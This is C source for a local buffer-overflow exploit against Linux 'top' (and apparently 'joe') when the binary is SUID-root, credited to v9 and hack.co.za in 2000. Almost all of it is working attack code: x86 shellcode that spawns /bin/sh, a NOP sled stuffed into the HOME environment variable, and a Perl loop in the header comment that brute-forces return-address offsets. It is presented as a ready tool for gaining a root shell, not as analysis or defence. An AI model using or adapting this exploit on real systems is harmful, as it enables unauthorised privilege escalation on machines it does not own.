/*
   (linux)top buffer overflow, by v9[v9@fakehalo.org]. this will give you
   a euid=0 shell if /usr/bin/top is SUID(=4755), which isn't anywheres by 
   default that i know of.  i just noticed it when i was playing around.
   so, i slapped this sucker together. :)
 
   note: usually, if /usr/bin/top isn't SUID(=4755) or you're not uid=0 it
   won't launch the shell.  also, this overflow works exactly the same on
   /usr/bin/joe.
 
   here is a quick perl script to run offsets (until ctrl-c):
 
   #!/usr/bin/perl
   $i=$ARGV[0];
   while(1){
     print "offset: $i.\n";
     system("./top_bof $i");
     $i++; # or $i+=100; if you want to be speedy.
   }
*/

#define DEFAULT_OFFSET 500
static char exec[]=
  "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f\xb8\x1b\x56"
  "\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80"
  "\xe8\xd7\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x01"; // i like hex01.

long esp(void)
{
  __asm__("movl %esp,%eax");
}
int main(int argc,char **argv)
{
  char bof[1029];
  int i,offset;
  long ret;
  if(argc>1)
    {
      offset=atoi(argv[1]);
    }
  else
    {
      offset=DEFAULT_OFFSET;
    }
  ret=(esp()-offset);
  printf("return address: 0x%lx, offset: %d.\n",ret,offset);
  for(i=0;i<1029;i+=4)
    {
      *(long *)&bof[i]=ret;
    }
  for(i=0;i<(1029-strlen(exec));i++)
    {
      *(bof+i)=0x90;
    }
  memcpy(bof+i,exec,strlen(exec));
  setenv("HOME",bof,1);
  execlp("/usr/bin/top","top",0);
}
/*                    www.hack.co.za           [27 June 2000]*/